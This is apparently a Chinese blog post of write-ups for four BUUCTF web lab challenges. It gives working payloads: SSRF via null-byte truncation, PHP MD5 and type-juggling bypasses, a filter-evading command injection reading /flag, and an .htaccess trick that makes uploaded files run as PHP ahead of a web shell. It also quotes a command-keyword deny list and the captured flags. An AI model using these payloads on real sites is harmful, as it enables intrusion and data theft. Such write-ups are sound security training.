BUUCTF_WEB_20200922

WEB-[GKCTF2020]cve版签到

F12后有提示Flag in localhost

在这里插入图片描述注意到了url,这不就是ssrf的标志吗???!!!这里是一个ssrf,思路应该是构造ssrf让服务器去请求自己获得flag。但是这里利用正则表达式让我们请求的url只能以.ctfhub.com结尾。这里就运用到的我们的CVE了,其实就是get_header()的CVE。这个函数特点就是会去请求url并返回header头部。但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。、构造payload:/?url=http://127.0.0.1%00.ctfhub.com

这里存在提示,Host must be end with '123',那就继续构造payload:/?url=http://127.0.0.123%00.ctfhub.com,得到flag

flag

flag{0885fe26-7e47-4af1-85a8-597a0dcfbaad}

WEB-[MRCTF2020]Ez_bypass

分析源代码

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

通过分析源码,通过数组来绕过,构造payload:http://761b8212-307f-4ce4-abb6-056ecefe2708.node3.buuoj.cn/index.php?id[]=aaa&gg[]=bbbba

is_numeric函数的作用是检测变量是否为数字或数字字符串,是则返回ture,反之。使用hackbar的post传参,passwd=1234567a

flag

flag{93385d30-f0f5-4d1a-ab9c-887c1b69d626}

WEB-[安洵杯 2019]easy_web

f12提示md5很funny说明跟md5有关,看到img=TXpVek5UTTFNbVUzTURabE5qYz0应该很敏感,使用base64解密一波MzUzNTM1MmU3MDZlNjYz0继续base64解密3535352e706e6630,百度之后再hex解码

得到555.png
可以猜测img参数可能存在文件包含漏洞,将index.php进行加密
text转化为hex-》base64加密-》base64加密最后得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

之后再进行base64解码源代码中的加密内容

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {  //md5强类型绕过
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

源码已经过滤了很多内容、代码第20行过滤了系统命令等关键字,但是没有过滤dir。代码第24行可以发现比较md5时,进行了强制类型转换。MD5强类型的绕过

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

按理说post上传后会显示三个文件,但是本人复现时却没有

之后到根目录查找041912d9-c510-491c-860d-6e7b08ef5c5a.node3.buuoj.cn/index.php?img=&cmd=dir / 因为过滤了cat,但是可以通过\反斜杠进行绕过http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=ca\t /flag

WEB-[GXYCTF2019]BabyUpload

上传php文件,显示不能上传以ph结尾的文件,所以直接上高速,上传.htaccess内容为

<FilesMatch "s">
SetHandler application/x-httpd-php
</FilesMatch>

接着上传一句话木马

连接蚁剑,寻找flag

flag

flag{51c10e16-9f14-48f9-917e-30153db7ecb2}

posted @ 2020-09-22 22:03  WANGXIN_YU  阅读(339)  评论(0)    收藏  举报